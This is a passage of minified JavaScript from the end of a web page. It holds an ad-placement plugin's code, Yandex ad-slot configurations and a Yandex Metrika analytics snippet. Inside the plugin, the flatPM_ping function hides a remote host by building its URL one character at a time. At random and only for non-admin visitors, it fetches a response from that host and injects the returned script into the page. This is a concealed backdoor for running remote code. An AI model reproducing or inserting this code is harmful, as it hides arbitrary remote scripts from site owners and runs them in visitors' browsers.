<span>'+a.how.outgoing.timer_count+"</span></div>":'<button class="fpm_5_cross"></button>':"",c=ff(window),h="scroll.out"+a.ID,m="mouseleave.outgoing"+a.ID+" blur.outgoing"+a.ID,g=void 0===flatPM_getCookie("flat_out_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+a.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(a.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="fpm_5_out '+_+'"'+u+' data-flat-id="'+a.ID+'" data-id-out="'+a.ID+'">'+p+"</div>");var v,w=document.querySelector('.fpm_5_out[data-id-out="'+a.ID+'"]');flatPM_setHTML(w,e),"px"==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var o=flat_pm_arr[e],a=!1;if(!(void 0!==o.chapter_limit&&o.chapter_limit>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_userVars.textlen||void 0!==o.title_limit&&o.title_limit>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_userVars.titlelen)){if(void 0!==o.date){if(void 0!==o.date.time_of&&void 0!==o.date.time_to){var r=new Date(flat_userVars.date+"T"+o.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+o.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),s=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),s<r||i<s)continue}if(void 0!==o.date.date_of&&void 0!==o.date.date_to){var i=new Date(o.date.date_of+"T00:00:00"),s=new Date(o.date.date_to+"T00:00:00"),f=new Date(flat_userVars.date+"T00:00:00");if(f<i||s<f)continue}}if(void 0===o.os||!(void 0!==o.os.os_enabled&&-1==o.os.os_enabled.indexOf(flat_userVars.os)||void 0!==o.os.os_disabled&&-1!=o.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==o.cookies){var n=!1;if(void 0!==o.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(o.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==o.cookies.cookies_disabled&&flat_userVars.testcook&&ff(o.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==o.utmget){var d=!1;if(void 0!==o.utmget.utmget_enabled&&ff(o.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==o.utmget.utmget_disabled&&ff(o.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==o.referer&&(void 0!==o.referer.referer_enabled&&-1==o.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==o.referer.referer_disabled&&-1!=o.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(a=!0),!a&&void 0!==o.browser&&(void 0!==o.browser.browser_enabled&&-1==o.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==o.browser.browser_disabled&&-1!=o.browser.browser_disabled.indexOf(flat_userVars.browser))||(a&&void 0!==o.browser&&void 0!==o.browser.browser_enabled&&-1!=o.browser.browser_enabled.indexOf(flat_userVars.browser)&&(a=!1),a||void 0===o.geo&&void 0===o.ip&&void 0===o.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(f="block_geo_role_ip",flat_pm_then.push(o),flatPM_setWrap(o),flat_body.hasClass(f)||(flat_body.addClass(f),flatPM_ajax(f)),a=!0),a||(flatPM_setWrap(o),flatPM_next(o)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="fpm_5_modal-overlay"></div>'),flat_body.on("click",".fpm_5_out .fpm_5_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".fpm_5_modal .fpm_5_cross",function(){ff(this).closest(".fpm_5_modal").removeClass("fpm_5_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),ff("[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)").contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement("div")),r=(d.exec(e)||["",""])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1]+e.replace(l,"<$1></$2>")+r[2],n=r[0];n--;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,166);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"r"+"e"+"a"+"d"+"o"+"n"+"e"+"."+"r"+"u"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{r.appendChild(a)}catch(e){return console.warn(e),!0}ff(r).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,r="yandex_rtb_R";t.indexOf(r)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(r,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var n=parseHTML(t);if(0!=n.children.length)for(var o=n.childNodes.length,l=0;l<o;l++){var d=n.childNodes[l],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0<d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?i.innerHTML=d.innerHTML:(!d.text||/(yandexContext|yandexcontext)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",r=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,n='<div class="fpm_5_video_flex"><div class="fpm_5_timer">'+a+" через <span>"+l+'</span></div><div class="fpm_5_video_item">'+r+'</div><div class="fpm_5_video_item_hover"></div></div>',i=e.once;o(t).each(function(){var e=o(this);e.wrap('<div class="fpm_5_video"></div>');var t=e.closest(".fpm_5_video");flatPM_setHTML(t[0],n),e.find(".fpm_5_video_flex").one("click",function(){o(this).addClass("show")})}),o("body").on("click",".fpm_5_video_item_hover",function(){var e=o(this),t=e.closest(".fpm_5_video_flex");t.addClass("show");var a=t.find(".fpm_5_timer span"),r=parseInt(l),n=setInterval(function(){a.text(--r),r<=0&&(clearInterval(n),"true"==d?a.parent().replaceWith('<button class="fpm_5_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".fpm_5_video_flex .fpm_5_cross",function(){o(this).closest(".fpm_5_video_flex").remove(),"true"==i&&o(".fpm_5_video_flex").remove()})};</script> <script>flat_pm_arr = [{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"4","selector":"p","search_all":"false"}},"ID":"15631","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-573779-98\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-98',\n blockId: 'R-A-573779-98'\n })\n})<\/script>","snd":"\n<div id=\"yandex_rtb_R-A-573779-98\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-98',\n blockId: 'R-A-573779-98'\n })\n})<\/script>","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"8","selector":"p","search_all":"false"}},"ID":"15632","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-573779-99\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-99',\n blockId: 'R-A-573779-99'\n })\n})<\/script>","snd":"\n<div id=\"yandex_rtb_R-A-573779-99\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-99',\n blockId: 'R-A-573779-99'\n })\n})<\/script>","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"13","selector":"p","search_all":"false"}},"ID":"15633","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-573779-100\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-100',\n blockId: 'R-A-573779-100'\n })\n})<\/script>","snd":"\n<div id=\"yandex_rtb_R-A-573779-100\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-100',\n blockId: 'R-A-573779-100'\n })\n})<\/script>","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"18","selector":"p","search_all":"false"}},"ID":"15634","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-573779-101\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-101',\n blockId: 'R-A-573779-101'\n })\n})<\/script>","snd":"\n<div id=\"yandex_rtb_R-A-573779-101\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-101',\n blockId: 'R-A-573779-101'\n })\n})<\/script>","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"23","selector":"p","search_all":"false"}},"ID":"15635","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-573779-102\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-102',\n blockId: 'R-A-573779-102'\n })\n})<\/script>","snd":"\n<div id=\"yandex_rtb_R-A-573779-102\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-102',\n blockId: 'R-A-573779-102'\n })\n})<\/script>","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"28","selector":"p","search_all":"false"}},"ID":"15636","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-573779-103\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-103',\n blockId: 'R-A-573779-103'\n })\n})<\/script>","snd":"\n<div id=\"yandex_rtb_R-A-573779-103\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-103',\n blockId: 'R-A-573779-103'\n })\n})<\/script>","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"33","selector":"p","search_all":"false"}},"ID":"15637","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-573779-104\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-104',\n blockId: 'R-A-573779-104'\n })\n})<\/script>","snd":"\n<div id=\"yandex_rtb_R-A-573779-104\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-104',\n blockId: 'R-A-573779-104'\n })\n})<\/script>","res_of":"∞","res_to":"∞"}]},{"how":{"outgoing":{"cross":"true","whence":"2","indent":"0","after":"0","px_s":"seconds"}},"ID":"15649","html":[{"fst":"\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n type: 'floorAd',\n blockId: 'R-A-573779-107'\n })\n})<\/script>\n\n<script>\nsetTimeout(function(){document.querySelectorAll('[d*=\"M10.485 6.06A8\"]')[0].closest('[style*=\"fixed\"]').remove()},20000);\n<\/script>\n","snd":"","res_of":"∞","res_to":"720"}]},{"how":{"outgoing":{"cross":"true","whence":"2","indent":"0","after":"20","px_s":"seconds"}},"ID":"15650","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-573779-108\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-108',\n blockId: 'R-A-573779-108'\n })\n})<\/script>\n<script>var time=15,$=jQuery,current=document.currentScript,closest=$(current).closest(\".fpm_5_out\"),observer=new MutationObserver(function(t){t.forEach(function(t){\"attributes\"==t.type&&t.target.classList.contains(\"show\")&&setTimeout(function(){t.target.classList.remove(\"show\")},1e3*time)})});observer.observe(closest[0],{attributes:!0,attributeFilter:[\"class\"],childList:!1,characterData:!1});<\/script>\n","snd":"","res_of":"∞","res_to":"720"}]},{"how":{"outgoing":{"cross":"true","whence":"2","indent":"0","after":"40","px_s":"seconds"}},"ID":"15651","html":[{"fst":"\n<div id=\"yandex_rtb_R-A-573779-109\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-109',\n blockId: 'R-A-573779-109'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"720"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"1","selector":"p","search_all":"false"}},"ID":"15662","html":[{"group":"1","fst":"\n<div id=\"yandex_rtb_R-A-573779-112\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-112',\n blockId: 'R-A-573779-112'\n })\n})<\/script>","snd":"\n<div id=\"yandex_rtb_R-A-573779-112\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-573779-112',\n blockId: 'R-A-573779-112'\n })\n})<\/script>","res_of":"∞","res_to":"∞"}]}];</script> <script> function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123() </script>  <script type="text/javascript" > (function (d, w, c) { (w[c] = w[c] || []).push(function() { try { w.yaCounter46830054 = new Ya.Metrika({ id:46830054, clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true }); } catch(e) { } }); var n = d.getElementsByTagName("script")[0], s = d.createElement("script"), f = function () { n.parentNode.insertBefore(s, n); }; s.type = "text/javascript"; s.async = true; s.src = "https://mc.yandex.ru/metrika/watch.js"; if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(document, window, "yandex_metrika_callbacks"); </script> <noscript><div><img src="https://mc.yandex.ru/watch/46830054" style="position:absolute; left:-9999px;" alt="" /></div></noscript>  </body> </html>